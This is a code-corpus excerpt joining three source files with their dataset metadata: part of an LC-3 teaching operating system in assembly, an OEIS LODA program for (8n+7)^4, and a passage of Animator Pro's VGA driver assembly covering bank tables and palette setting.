.FILL 612 ; xB1
.FILL 612 ; xB2
.FILL 612 ; xB3
.FILL 612 ; xB4
.FILL 612 ; xB5
.FILL 612 ; xB6
.FILL 612 ; xB7
.FILL 612 ; xB8
.FILL 612 ; xB9
.FILL 612 ; xBA
.FILL 612 ; xBB
.FILL 612 ; xBC
.FILL 612 ; xBD
.FILL 612 ; xBE
.FILL 612 ; xBF
.FILL 612 ; xC0
.FILL 612 ; xC1
.FILL 612 ; xC2
.FILL 612 ; xC3
.FILL 612 ; xC4
.FILL 612 ; xC5
.FILL 612 ; xC6
.FILL 612 ; xC7
.FILL 612 ; xC8
.FILL 612 ; xC9
.FILL 612 ; xCA
.FILL 612 ; xCB
.FILL 612 ; xCC
.FILL 612 ; xCD
.FILL 612 ; xCE
.FILL 612 ; xCF
.FILL 612 ; xD0
.FILL 612 ; xD1
.FILL 612 ; xD2
.FILL 612 ; xD3
.FILL 612 ; xD4
.FILL 612 ; xD5
.FILL 612 ; xD6
.FILL 612 ; xD7
.FILL 612 ; xD8
.FILL 612 ; xD9
.FILL 612 ; xDA
.FILL 612 ; xDB
.FILL 612 ; xDC
.FILL 612 ; xDD
.FILL 612 ; xDE
.FILL 612 ; xDF
.FILL 612 ; xE0
.FILL 612 ; xE1
.FILL 612 ; xE2
.FILL 612 ; xE3
.FILL 612 ; xE4
.FILL 612 ; xE5
.FILL 612 ; xE6
.FILL 612 ; xE7
.FILL 612 ; xE8
.FILL 612 ; xE9
.FILL 612 ; xEA
.FILL 612 ; xEB
.FILL 612 ; xEC
.FILL 612 ; xED
.FILL 612 ; xEE
.FILL 612 ; xEF
.FILL 612 ; xF0
.FILL 612 ; xF1
.FILL 612 ; xF2
.FILL 612 ; xF3
.FILL 612 ; xF4
.FILL 612 ; xF5
.FILL 612 ; xF6
.FILL 612 ; xF7
.FILL 612 ; xF8
.FILL 612 ; xF9
.FILL 612 ; xFA
.FILL 612 ; xFB
.FILL 612 ; xFC
.FILL 612 ; xFD
.FILL 612 ; xFE
.FILL 612 ; xFF; the interrupt vector table
; interrupts are not currently implemented
.FILL 613 ; x00
.FILL 613 ; x01
.FILL 613 ; x02
.FILL 613 ; x03
.FILL 613 ; x04
.FILL 613 ; x05
.FILL 613 ; x06
.FILL 613 ; x07
.FILL 613 ; x08
.FILL 613 ; x09
.FILL 613 ; x0A
.FILL 613 ; x0B
.FILL 613 ; x0C
.FILL 613 ; x0D
.FILL 613 ; x0E
.FILL 613 ; x0F
.FILL 613 ; x10
.FILL 613 ; x11
.FILL 613 ; x12
.FILL 613 ; x13
.FILL 613 ; x14
.FILL 613 ; x15
.FILL 613 ; x16
.FILL 613 ; x17
.FILL 613 ; x18
.FILL 613 ; x19
.FILL 613 ; x1A
.FILL 613 ; x1B
.FILL 613 ; x1C
.FILL 613 ; x1D
.FILL 613 ; x1E
.FILL 613 ; x1F
.FILL 613 ; x20
.FILL 613 ; x21
.FILL 613 ; x22
.FILL 613 ; x23
.FILL 613 ; x24
.FILL 613 ; x25
.FILL 613 ; x26
.FILL 613 ; x27
.FILL 613 ; x28
.FILL 613 ; x29
.FILL 613 ; x2A
.FILL 613 ; x2B
.FILL 613 ; x2C
.FILL 613 ; x2D
.FILL 613 ; x2E
.FILL 613 ; x2F
.FILL 613 ; x30
.FILL 613 ; x31
.FILL 613 ; x32
.FILL 613 ; x33
.FILL 613 ; x34
.FILL 613 ; x35
.FILL 613 ; x36
.FILL 613 ; x37
.FILL 613 ; x38
.FILL 613 ; x39
.FILL 613 ; x3A
.FILL 613 ; x3B
.FILL 613 ; x3C
.FILL 613 ; x3D
.FILL 613 ; x3E
.FILL 613 ; x3F
.FILL 613 ; x40
.FILL 613 ; x41
.FILL 613 ; x42
.FILL 613 ; x43
.FILL 613 ; x44
.FILL 613 ; x45
.FILL 613 ; x46
.FILL 613 ; x47
.FILL 613 ; x48
.FILL 613 ; x49
.FILL 613 ; x4A
.FILL 613 ; x4B
.FILL 613 ; x4C
.FILL 613 ; x4D
.FILL 613 ; x4E
.FILL 613 ; x4F
.FILL 613 ; x50
.FILL 613 ; x51
.FILL 613 ; x52
.FILL 613 ; x53
.FILL 613 ; x54
.FILL 613 ; x55
.FILL 613 ; x56
.FILL 613 ; x57
.FILL 613 ; x58
.FILL 613 ; x59
.FILL 613 ; x5A
.FILL 613 ; x5B
.FILL 613 ; x5C
.FILL 613 ; x5D
.FILL 613 ; x5E
.FILL 613 ; x5F
.FILL 613 ; x60
.FILL 613 ; x61
.FILL 613 ; x62
.FILL 613 ; x63
.FILL 613 ; x64
.FILL 613 ; x65
.FILL 613 ; x66
.FILL 613 ; x67
.FILL 613 ; x68
.FILL 613 ; x69
.FILL 613 ; x6A
.FILL 613 ; x6B
.FILL 613 ; x6C
.FILL 613 ; x6D
.FILL 613 ; x6E
.FILL 613 ; x6F
.FILL 613 ; x70
.FILL 613 ; x71
.FILL 613 ; x72
.FILL 613 ; x73
.FILL 613 ; x74
.FILL 613 ; x75
.FILL 613 ; x76
.FILL 613 ; x77
.FILL 613 ; x78
.FILL 613 ; x79
.FILL 613 ; x7A
.FILL 613 ; x7B
.FILL 613 ; x7C
.FILL 613 ; x7D
.FILL 613 ; x7E
.FILL 613 ; x7F
.FILL 613 ; x80
.FILL 613 ; x81
.FILL 613 ; x82
.FILL 613 ; x83
.FILL 613 ; x84
.FILL 613 ; x85
.FILL 613 ; x86
.FILL 613 ; x87
.FILL 613 ; x88
.FILL 613 ; x89
.FILL 613 ; x8A
.FILL 613 ; x8B
.FILL 613 ; x8C
.FILL 613 ; x8D
.FILL 613 ; x8E
.FILL 613 ; x8F
.FILL 613 ; x90
.FILL 613 ; x91
.FILL 613 ; x92
.FILL 613 ; x93
.FILL 613 ; x94
.FILL 613 ; x95
.FILL 613 ; x96
.FILL 613 ; x97
.FILL 613 ; x98
.FILL 613 ; x99
.FILL 613 ; x9A
.FILL 613 ; x9B
.FILL 613 ; x9C
.FILL 613 ; x9D
.FILL 613 ; x9E
.FILL 613 ; x9F
.FILL 613 ; xA0
.FILL 613 ; xA1
.FILL 613 ; xA2
.FILL 613 ; xA3
.FILL 613 ; xA4
.FILL 613 ; xA5
.FILL 613 ; xA6
.FILL 613 ; xA7
.FILL 613 ; xA8
.FILL 613 ; xA9
.FILL 613 ; xAA
.FILL 613 ; xAB
.FILL 613 ; xAC
.FILL 613 ; xAD
.FILL 613 ; xAE
.FILL 613 ; xAF
.FILL 613 ; xB0
.FILL 613 ; xB1
.FILL 613 ; xB2
.FILL 613 ; xB3
.FILL 613 ; xB4
.FILL 613 ; xB5
.FILL 613 ; xB6
.FILL 613 ; xB7
.FILL 613 ; xB8
.FILL 613 ; xB9
.FILL 613 ; xBA
.FILL 613 ; xBB
.FILL 613 ; xBC
.FILL 613 ; xBD
.FILL 613 ; xBE
.FILL 613 ; xBF
.FILL 613 ; xC0
.FILL 613 ; xC1
.FILL 613 ; xC2
.FILL 613 ; xC3
.FILL 613 ; xC4
.FILL 613 ; xC5
.FILL 613 ; xC6
.FILL 613 ; xC7
.FILL 613 ; xC8
.FILL 613 ; xC9
.FILL 613 ; xCA
.FILL 613 ; xCB
.FILL 613 ; xCC
.FILL 613 ; xCD
.FILL 613 ; xCE
.FILL 613 ; xCF
.FILL 613 ; xD0
.FILL 613 ; xD1
.FILL 613 ; xD2
.FILL 613 ; xD3
.FILL 613 ; xD4
.FILL 613 ; xD5
.FILL 613 ; xD6
.FILL 613 ; xD7
.FILL 613 ; xD8
.FILL 613 ; xD9
.FILL 613 ; xDA
.FILL 613 ; xDB
.FILL 613 ; xDC
.FILL 613 ; xDD
.FILL 613 ; xDE
.FILL 613 ; xDF
.FILL 613 ; xE0
.FILL 613 ; xE1
.FILL 613 ; xE2
.FILL 613 ; xE3
.FILL 613 ; xE4
.FILL 613 ; xE5
.FILL 613 ; xE6
.FILL 613 ; xE7
.FILL 613 ; xE8
.FILL 613 ; xE9
.FILL 613 ; xEA
.FILL 613 ; xEB
.FILL 613 ; xEC
.FILL 613 ; xED
.FILL 613 ; xEE
.FILL 613 ; xEF
.FILL 613 ; xF0
.FILL 613 ; xF1
.FILL 613 ; xF2
.FILL 613 ; xF3
.FILL 613 ; xF4
.FILL 613 ; xF5
.FILL 613 ; xF6
.FILL 613 ; xF7
.FILL 613 ; xF8
.FILL 613 ; xF9
.FILL 613 ; xFA
.FILL 613 ; xFB
.FILL 613 ; xFC
.FILL 613 ; xFD
.FILL 613 ; xFE
.FILL 613 ; xFF
;;; OS_START - operating system entry point (always starts at x0200)
;; set MPR
OS_START
LD R0, MPR_INIT ;
STI R0, OS_MPR
;;; set timer interval
LD R0, TIM_INIT ;
STI R0, OS_TMI
;;; start running user code (clear Privilege bit w/ JMPT)
LD R7, USER_CODE_ADDR ;
JMPT R7 ;
OS_KBSR .FILL xFE00 ; keyboard status register
OS_KBDR .FILL xFE02 ; keyboard data register
OS_DSR .FILL xFE04 ; display status register
OS_DDR .FILL xFE06 ; display data register
OS_TR .FILL xFE08 ; timer register
OS_TMI .FILL xFE0A ; timer interval register
OS_MPR .FILL xFE12 ; memory protection register
OS_MCR .FILL xFFFE ; machine control register
OS_SAVE_R0 .FILL x0000
OS_SAVE_R1 .FILL x0000
OS_SAVE_R2 .FILL x0000
OS_SAVE_R3 .FILL x0000
OS_SAVE_R4 .FILL x0000
OS_SAVE_R5 .FILL x0000
OS_SAVE_R6 .FILL x0000
OS_SAVE_R7 .FILL x0000
OS_OUT_SAVE_R1 .FILL x0000
OS_IN_SAVE_R7 .FILL x0000
MASK_HI .FILL x7FFF
LOW_8_BITS .FILL x00FF
TIM_INIT .FILL x0028 ;MPR_INIT .FILL xFFFF ; user can access everything
MPR_INIT .FILL x0FF8 ; user can access x3000 to xbfff
USER_CODE_ADDR .FILL x3000 ; user code starts at x3000
;;; GETC - Read a single character of input from keyboard device into R0
TRAP_GETC
LDI R0, OS_KBSR ; wait for a keystroke
BRzp TRAP_GETC
LDI R0, OS_KBDR ; read it and return
RET
;;; OUT - Write the character in R0 to the console.
TRAP_OUT
ST R1, OS_OUT_SAVE_R1 ; save R1
TRAP_OUT_WAIT
LDI R1, OS_DSR ; wait for the display to be ready
BRzp TRAP_OUT_WAIT
STI R0, OS_DDR ; write the character and return
LD R1, OS_OUT_SAVE_R1 ; restore R1
RET
;;; PUTS - Write a NUL-terminated string of characters to the console,
;;; starting from the address in R0.
TRAP_PUTS
ST R0, OS_SAVE_R0 ; save R0, R1, and R7
ST R1, OS_SAVE_R1
ST R7, OS_SAVE_R7
ADD R1, R0, #0 ; move string pointer (R0) into R1
TRAP_PUTS_LOOP
LDR R0, R1, #0 ; write characters in string using OUT
BRz TRAP_PUTS_DONE
OUT
ADD R1, R1, #1
BR TRAP_PUTS_LOOP
TRAP_PUTS_DONE
LD R0, OS_SAVE_R0 ; restore R0, R1, and R7
LD R1, OS_SAVE_R1
LD R7, OS_SAVE_R7
RET
;;; IN - prompt the user for a single character input, which is stored
;;; in R0 and also echoed to the console.
TRAP_IN
ST R7, OS_IN_SAVE_R7 ; save R7 (no need to save R0, since we; overwrite later
LEA R0, TRAP_IN_MSG ; prompt for input
PUTS
GETC ; read a character
OUT ; echo back to monitor
ST R0, OS_SAVE_R0 ; save the character
AND R0, R0, #0 ; write a linefeed, too
ADD R0, R0, #10
OUT
LD R0, OS_SAVE_R0 ; restore the character
LD R7, OS_IN_SAVE_R7 ; restore R7
RET ; this doesn't work, because
;;; PUTSP - Write a NUL-terminated string of characters, packed 2 per
;;; memory location, to the console, starting from the address in R0.
; NOTE: This trap will end when it sees any NUL, even in
; packed form, despite the P&P second edition's requirement
; of a double NUL.
TRAP_PUTSP
ST R0, OS_SAVE_R0 ; save R0, R1, R2, R3, and R7
ST R1, OS_SAVE_R1
ST R2, OS_SAVE_R2
ST R3, OS_SAVE_R3
ST R7, OS_SAVE_R7
ADD R1, R0, #0 ; move string pointer (R0) into R1
TRAP_PUTSP_LOOP
LDR R2, R1, #0 ; read the next two characters
LD R0, LOW_8_BITS ; use mask to get low byte
AND R0, R0, R2 ; if low byte is NUL, quit printing
BRz TRAP_PUTSP_DONE
OUT ; otherwise print the low byte
AND R0, R0, #0 ; shift high byte into R0
ADD R3, R0, #8
TRAP_PUTSP_S_LOOP
ADD R0, R0, R0 ; shift R0 left
ADD R2, R2, #0 ; move MSB from R2 into R0
BRzp TRAP_PUTSP_MSB_0
ADD R0, R0, #1
TRAP_PUTSP_MSB_0
ADD R2, R2, R2 ; shift R2 left
ADD R3, R3, #-1
BRp TRAP_PUTSP_S_LOOP
ADD R0, R0, #0 ; if high byte is NUL, quit printing
BRz TRAP_PUTSP_DONE
OUT ; otherwise print the low byte
ADD R1, R1, #1 ; and keep going
BR TRAP_PUTSP_LOOP
TRAP_PUTSP_DONE
LD R0, OS_SAVE_R0 ; restore R0, R1, R2, R3, and R7
LD R1, OS_SAVE_R1
LD R2, OS_SAVE_R2
LD R3, OS_SAVE_R3
LD R7, OS_SAVE_R7
RET
;;; HALT - trap handler for halting machine
TRAP_HALT
LDI R0, OS_MCR
LD R1, MASK_HI ; clear run bit in MCR
AND R0, R0, R1
STI R0, OS_MCR ; halt!
BR OS_START ; restart machine
;;; BAD_TRAP - code to execute for undefined trap
BAD_TRAP
BR TRAP_HALT ; execute HALT
;;; BAD_INT - code to execute for undefined interrupt. There won't
;;; actually be any interrupts, so this will never actually get called.
BAD_INT
RTI
TRAP_IN_MSG .FILL x000A
.FILL x0049
.FILL x006E
.FILL x0070
.FILL x0075
.FILL x0074
.FILL x0020
.FILL x0061
.FILL x0020
.FILL x0063
.FILL x0068
.FILL x0061
.FILL x0072
.FILL x0061
.FILL x0063
.FILL x0074
.FILL x0065
.FILL x0072
.FILL x003E
.FILL x0020
.FILL x0000
x0000
x0000
.END
| 20.834667 | 86 | 0.546781 |
ac2b2c545547cec23d0f3906d51fb78dcc96f0b5 | 3,317 | asm | Assembly | programs/oeis/017/A017152.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/017/A017152.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/017/A017152.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A017152: a(n) = (8*n + 7)^4.
; 2401,50625,279841,923521,2313441,4879681,9150625,15752961,25411681,38950081,57289761,81450625,112550881,151807041,200533921,260144641,332150625,418161601,519885601,639128961,777796321,937890625,1121513121,1330863361,1568239201,1836036801,2136750625,2472973441,2847396321,3262808641,3722098081,4228250625,4784350561,5393580481,6059221281,6784652161,7573350625,8428892481,9354951841,10355301121,11433811041,12594450625,13841287201,15178486401,16610312161,18141126721,19775390625,21517662721,23372600161,25344958401,27439591201,29661450625,32015587041,34507149121,37141383841,39923636481,42859350625,45954068161,49213429281,52643172481,56249134561,60037250625,64013554081,68184176641,72555348321,77133397441,81924750625,86935932801,92173567201,97644375361,103355177121,109312890625,115524532321,121997216961,128738157601,135754665601,143054150625,150644120641,158532181921,166726039041,175233494881,184062450625,193220905761,202716958081,212558803681,222754736961,233313150625,244242535681,255551481441,267248675521,279342903841,291843050625,304758098401,318097128001,331869318561,346083947521,360750390625,375878121921,391476713761,407555836801,424125260001,441194850625,458774574241,476874494721,495504774241,514675673281,534397550625,554680863361,575536166881,596974114881,619005459361,641641050625,664891837281,688768866241,713283282721,738446330241,764269350625,790763784001,817941168801,845813141761,874391437921,903687890625,933714431521,964483090561,996005996001,1028295374401,1061363550625,1095222947841,1129886087521,1165365589441,1201674171681,1238824650625,1276829940961,1315703055681,1355457106081,1396105301761,1437660950625,1480137458881,1523548331041,1567907169921,1613227676641,1659523650625,1706808989601,1755097689601,1804403844961,1854741648321,1906125390625,1958569461121,2012088347361,2066696635201,2122409008801,2179240250625,2237205241441,2296318960321,2356596484641,2418052990081,2480703750625,2544564138561,2609649624481,2675975777281,2743558264161,2812412850625,2882555400481,2954001875841,3026768337121,3100870943041,3176325950625,3253149715201,3331358690401,3410969428161,3491998578721,3574462890625,3658379210721,3743764484161,3830635754401,3919010163201,4008904950625,4100337455041,4193325113121,4287885459841,4384036128481,4481794850625,4581179456161,4682207873281,4784898128481,4889268346561,4995336750625,5103121662081,5212641500641,5323914784321,5436960129441,5551796250625,5668441960801,5786916171201,5907237891361,6029426229121,6153500390625,6279479680321,6407383500961,6537231353601,6669042837601,6802837650625,6938635588641,7076456545921,7216320515041,7358247586881,7502257950625,7648371893761,7796609802081,7946992159681,8099539548961,8254272650625,8411212243681,8570379205441,8731794511521,8895479235841,9061454550625,9229741726401,9400362132001,9573337234561,9748688599521,9926437890625,10106606869921,10289217397761,10474291432801,10661851032001,10851918350625,11044515642241,11239665258721,11437389650241,11637711365281,11840653050625,12046237451361,12254487410881,12465425870881,12679075871361,12895460550625,13114603145281,13336526990241,13561255518721,13788812262241,14019220850625,14252505012001,14488688572801,14727795457761,14969849689921,15214875390625,15462896779521,15713938174561,15968023992001
mov $1,8
mul $1,$0
add $1,7
pow $1,4
| 414.625 | 3,247 | 0.913175 |
4aba5168ae40c9d7457efb6eeef2e293c02c35d9 | 21,884 | asm | Assembly | src/PJ/flic386p/libsrc/drvcomn/drvcomn.asm | AnimatorPro/Animator-Pro | 6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb | [
"BSD-3-Clause"
] | 119 | 2015-01-10T15:13:50.000Z | 2022-01-24T04:54:34.000Z | src/PJ/drivekit/drvcomn/drvcomn.asm | AnimatorPro/Animator-Pro | 6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb | [
"BSD-3-Clause"
] | 6 | 2015-10-22T20:14:59.000Z | 2021-07-10T03:25:21.000Z | src/PJ/flic386p/libsrc/drvcomn/drvcomn.asm | AnimatorPro/Animator-Pro | 6d0b68cd94bb5cfde2cdd05e9a7c8ee1e1cb3cbb | [
"BSD-3-Clause"
] | 27 | 2015-04-24T22:55:30.000Z | 2022-01-21T13:54:00.000Z | ;*****************************************************************************
;* DRVCOMN.ASM - VGA hardware interfaces and common driver support routines.
;*
;* NOTES:
;*
;* This code is now shared by more than one driver! Be ultra-careful
;* before changing anything like which parms are passed in registers
;* and which registers are preserved for internal service routines such
;* as _pj_vdrv_build_ytable. If you need to find everyone that uses this
;* code, grep for DRVCOMN.LIB in all the MAKEFILEs and/or *.LNK files
;* in all subdirs of \paa\drivekit.
;*
;* Within the comment blocks for each routine below, if the first line
;* of comments looks like a C-language prototype, the routine is called
;* from C, and the normal Watcom -3s parm and register conventions apply.
;* If the first line doesn't look like a prototype, it's an internal
;* service routine (called from other asm code), and the parms/regs are
;* listed in the comment block.
;*
;* MAINTENANCE:
;* ??/??/91 Jim Byers
;* Original version (hardware.asm).
;* 03/27/91 Ian Lepore
;* Overall driver was rewritten. The code in this module was
;* mostly copied from the original driver's hardware.asm module.
;* All the output routines were removed to their own modules,
;* then code was added herein to build the ytable during mode
;* initialization. Other small changes were made to glue the
;* original hardware.asm code to changes in device.c.
;* 04/25/91 Ian Lepore
;* Changed the pj_vdrv_set_colors routine (see comments there),
;* and added pj_vdrv_uncc64 and pj_vdrv_uncc256.
;* 05/28/91 Ian
;* New module, based on routines formerly in VESAINTF.ASM, now
;* isolated here as 'common to all SVGA cards' code.
;* 06/04/91 Ian
;* Added pj_vdrv_8bit_set_colors() and pj_vdrv_8bit_uncc256() to support
;* svga cards with full 8-bit dacs.
;* 07/30/91 Ian
;* Added declaration of pj_vdrv_modeinfo below; this is now used
;* by the vesa and svga drivers.
;* 08/20/91 Ian
;* Moved declaration of pj_vdrv_raster_library into this module.
;* This is because there should only be one of these, ideally,
;* and having them declared in the device.c modules of the users
;* of the common driver routines leads to multiple declarations
;* of it in the flilib code.
;*****************************************************************************
;******************************************************************************
;* *
;* Copyright (C) 1991 by Autodesk, Inc. *
;* *
;* Permission to use, copy, modify, and distribute this software and *
;* its documentation for the purpose of creating applications for *
;* Autodesk Animator, is hereby granted in accordance with the terms *
;* of the License Agreement accompanying this product. *
;* *
;* Autodesk makes no warrantees, express or implied, as to the *
;* correctness of this code or any derivative works which incorporate *
;* it. Autodesk provides the code on an ''as-is'' basis and *
;* explicitly disclaims any liability, express or implied, for *
;* errors, omissions, and other problems in the code, including *
;* consequential and incidental damages. *
;* *
;* Use, duplication, or disclosure by the U.S. Government is *
;* subject to restrictions set forth in FAR 52.227-19 (Commercial *
;* Computer Software - Restricted Rights) and DFAR 252.227-7013 (c) *
;* (1) (ii) (Rights in Technical Data and Computer Software, as *
;* applicable. *
;******************************************************************************
include stdmacro.i
include drvcomn.i
include rastlib.i
;*****************************************************************************
;* the pj_vdrv_has_8bitdac variable.
;* this is init'd to FALSE, but any detect/init routine can set it to true
;* as an indication to the build_rastlib routine that the 8bit color-setting
;* code should be used instead of the 6bit routines.
;*****************************************************************************
_DATA segment
public pj_vdrv_has_8bitdac
pj_vdrv_has_8bitdac dd 0 ; init 8bitdac flag to FALSE.
_DATA ends
;*****************************************************************************
;* the sminfo, ytable, and wcontrol structures.
;*****************************************************************************
_BSS segment
public pj_vdrv_raster_library
public pj_vdrv_modeinfo
public pj_vdrv_wcontrol
public pj_vdrv_ytable
;-----------------------------------------------------------------------------
; the raster libary structure...
;-----------------------------------------------------------------------------
pj_vdrv_raster_library dd RL_NUM_LIB_CALLS dup (?)
;-----------------------------------------------------------------------------
; the sminfo data structure...
; this is used to relate our internal mode numbers to the hardware modes.
;-----------------------------------------------------------------------------
align 2
pj_vdrv_modeinfo sminfo MAX_SMODES dup (<>) ; define an array of sminfo structs.
;-----------------------------------------------------------------------------
; the ytable data structure...
;
; The whole show is built around this data structure, so a few words are
; probably in order. While the table is defined here as an array of dwords,
; and is most frequently accessed that way, it is conceptually defined as:
;
; struct ytable {
; short split_at
; short bank_num
; long offset
; };
;
; We allocate an array of 1536 (1.5k) of these structures. (Code in the
; open_graphics() routine will prevent opening a screen with more than 1536
; scanlines). It is important for performance that this array be statically
; allocated; dynamic allocation at runtime is not an option. The data in
; the table is generated by the set_video_environment routine, below.
;
; All screen-access code in the driver uses this table as part of addressing
; video memory. Typically, the Y coordinate is used to index to the proper
; table entry, and the split_at/bank_num values are obtained with a single
; dword move. The split/bank value is then compared to the current bank
; stored in the window control structure. If they are not equal, a branch
; is taken to a special handling routine for further action. If they are
; equal, the offset is obtained from the table, and screen access commences.
; The following code fragment illustrates this:
;
; move edi,y_coordinate ; load the Y coordinate for the line.
; mov eax,[edi*8+ytab_bank] ; load split_at/bank_num for the line,
; cmp eax,pj_vdrv_wcontrol.wwrcurbank ; compare to the current bank number.
; jne check_split ; if split line or wrong bank, go do
; mov edi,[edi*8+ytab_offs] ; special handling, else get the line
; ; do output ; offset and proceed with the access.
;
; When a bank switch is done, the split_at value is NOT stored in the
; wwrcurbank variable, so a comparison such as that shown above will take
; the branch when the target line is in a bank other than the current one
; (ie, a bank switch is needed), or when the target line has a split in it.
; The premise behind this is that split lines and bank switches are only
; rarely needed - most output will be to an unsplit line in the current bank.
; (This is because we mostly process from the top of the screen downwards,
; truely random accesses to the screen are pretty rare.) Thus, the logic
; shown above tests for both of the exceptional conditions with a single test
; and branch, and the fall-thru case will be taken most of the time (avoiding
; the nemisis of 386 performance coding: taking branches).
;
; This table MUST be aligned on a dword boundry for performance!!!
;-----------------------------------------------------------------------------
align 4
pj_vdrv_ytable dd 1536*2 dup (?) ; ytable, entries are 2 dwords each
;-----------------------------------------------------------------------------
; the pj_vdrv_wcontrol data structure....
;
; This structure is described in detail in DRVCOMN.I where it is defined. It
; is statically allocated to allow fast access to it via LEA (2 cycles).
;
; This structure MUST be aligned on a dword boundry for performance!!!
;-----------------------------------------------------------------------------
align 4
pj_vdrv_wcontrol winblk <> ; window control block
_BSS ends
;*****************************************************************************
;* code...
;*****************************************************************************
_TEXT segment
public _pj_vdrv_build_ytable
public pj_vdrv_wait_vblank
public pj_vdrv_set_colors
public pj_vdrv_uncc256
public pj_vdrv_uncc64
public pj_vdrv_8bit_set_colors
public pj_vdrv_8bit_uncc256
public pj_vdrv_8bit_uncc64
;*****************************************************************************
;* _pj_vdrv_build_ytable - internal service routine, calc's and fills in ytable.
;*
;* Entry:
;* following values in pj_vdrv_wcontrol struct must be valid:
;* wpitch wheight wbankshift woffsmask
;* Exit:
;* all registers preserved.
;*****************************************************************************
_pj_vdrv_build_ytable proc near
pushad
lea esi,pj_vdrv_ytable ; ptr for output of values to ytable.
lea edi,pj_vdrv_wcontrol ; ptr to pj_vdrv_wcontrol, we use it a lot.
mov edx,[edi].wheight ; loop counter, lines in ytable.
mov cl,[edi].wbankshift ; we'll be shifting a lot, preload this.
xor ebx,ebx ; zero starting window offset.
#make_ytable:
mov eax,ebx ; get offset of current line from the
and eax,[edi].woffsmask ; start of the screen, mask it to an
mov [esi+4],eax ; offset from start of window, store it.
mov eax,ebx ; get offset of current line, shift it
shr eax,cl ; to get the bank number. Save the
push eax ; bank number on the stack for now.
add ebx,[edi].wpitch ; increment offset to next screen line.
lea eax,[ebx-1] ; calc the address of the last byte on
shr eax,cl ; this line, then get the bank number
cmp eax,[esp] ; of that address. compare that to the
je short #nosplit ; bank number for the start of the
mov eax,[edi].woffsmask ; line. if they're not equal, the
inc eax ; line is split. calc the location
sub eax,[esi+4] ; of the split and store it alongside
mov [esp+2],ax ; the bank number saved on the stack.
#nosplit:
pop eax ; get the split_at/bank_num value,
mov [esi],eax ; store it into the ytable.
add esi,8 ; point to the next ytable entry.
dec edx ; decrement the loop counter, if not
jnz short #make_ytable ; zero, continue with the next line.
popad
ret
_pj_vdrv_build_ytable endp
;*****************************************************************************
;* void pj_vdrv_wait_vblank(void)
;* busy-wait for vblank (this works with any VGA)
;*****************************************************************************
align 4
pj_vdrv_wait_vblank proc near
mov edx,3dah ; video status port
#wait:
in al,dx
test al,8
jz short #wait
ret
pj_vdrv_wait_vblank endp
;*****************************************************************************
; void pj_vdrv_set_colors(Raster *r, int start, int count, UBYTE *color_table)
;
; /* NOTE: the color table has values that range from 0 to 255,
; so the colors must be divided by 4 so they'll fit into
; VGA tables that only range from 0 to 63 */
;
; Note, this routine modified as follows:
;
; My VGA book says that a minimum of 240ns must elapse between accesses
; to the vga color data registers. Assuming a 50mhz 386 chip, this
; means we need 12 cycles between OUT instructions when setting colors.
; The original version used JMP instructions to add a delay, and this
; was caused delay between accesses of about 15-16 cycles plus the
; time to reload the prefetch queue. Now the routine uses NOP
; instructions to effect the slight delay needed. (One NOP does the
; the trick (just barely), giving us 11 cycles between accesses. The
; use of 11 instead of 12 is predicated on Jim K's experience of never
; finding a card that really needs a delay at all, and the fact that we
; already have a huge fudge factor built in by assuming a 50mhz 386
; running without any wait states while accessing either memory or
; the graphics card.
;
; Also, the original routine re-selected the next color register
; after each rgb triplet, but my vga book says that the
; register number will auto-increment after each triplet, and it
; doesn't mention any exceptions to that for given cards.
;
; Anyway, if any of the above turns out to be bogus for a given card,
; the original routine still exists below, commented out with a IF 0.
;
;*****************************************************************************
align 4
pj_vdrv_set_colors proc near
#raster equ [esp+4]
#start equ [esp+08]
#count equ [esp+12]
#ptable equ [esp+16]
mov eax,#start ; starting color #
mov ecx,#count ; number of colors
mov edx,#ptable ; pallette address
push esi
mov esi,edx
mov edx,3c8h ; address vga color palette control port
out dx,al ; select starting color register
inc edx ; address vga color palette data port
nop
#loop:
lodsb ; load red
shr al,2 ; convert 256- to 64-level color
out dx,al ; store red
nop ; waste 3 cycles
lodsb ; load green
shr al,2 ; convert 256- to 64-level color
out dx,al ; store green
nop ; waste 3 cycles
lodsb ; load blue
shr al,2 ; convert 256- to 64-level color
out dx,al ; store blue
dec ecx ; count the color as done
jnz short #loop ; go do next color (wastes 8+ cycles)
pop esi
ret
pj_vdrv_set_colors endp
if 0 ; old version...
align 4
pj_vdrv_set_colors proc near
#raster equ [ebp+8]
#start equ [ebp+12]
#count equ [ebp+16]
#ptable equ [ebp+20]
push ebp
mov ebp, esp
push ebx
push esi
mov ebx,#start ; starting color #
mov ecx,#count ; number of colors
mov esi,#ptable ; pallette address
#loop:
mov edx,3c8h ; vga color control port
mov al,bl ; current color #
out dx,al ; select color
inc edx ; vga color palette port
jmp #delay1
#delay1:
lodsb
shr al,2 ; convert 256- to 64-level color
out dx,al ; red
jmp #delay2
#delay2:
lodsb
shr al,2 ; convert 256- to 64-level color
out dx,al ; green
jmp #delay3
#delay3:
lodsb
shr al,2 ; convert 256- to 64-level color
out dx,al ; blue
inc ebx ; next color #
loop #loop
pop esi
pop ebx
pop ebp
ret
pj_vdrv_set_colors endp
endif
;*****************************************************************************
; void pj_vdrv_uncc256(Raster *r, void *ucbuf);
;
; Notes under pj_vdrv_set_colors apply to this routine.
;*****************************************************************************
align 4
pj_vdrv_uncc256 proc near
#raster equ [esp+4]
#ucbuf equ [esp+8]
mov edx,#ucbuf
push ebx
push esi
push edi
mov esi,edx
movzx ebx,word ptr [esi]
add esi,2
xor edi,edi
xor ecx,ecx
#packetloop:
dec ebx
js short #done
mov cl,[esi] ; get skip count
add edi,ecx ; add to color index
mov cl,[esi+1] ; get change count
add esi,2 ; incr input pointer
mov eax,edi ; load color register index
mov edx,3c8h ; address vga color palette control port
out dx,al ; select starting color register
inc edx ; address vga color palette data port
nop
#loop:
inc edi ; increment index
lodsb ; load red
shr al,2 ; convert 256- to 64-level color
out dx,al ; store red
nop ; waste 3 cycles
lodsb ; load green
shr al,2 ; convert 256- to 64-level color
out dx,al ; store green
nop ; waste 3 cycles
lodsb ; load blue
shr al,2 ; convert 256- to 64-level color
out dx,al ; store blue
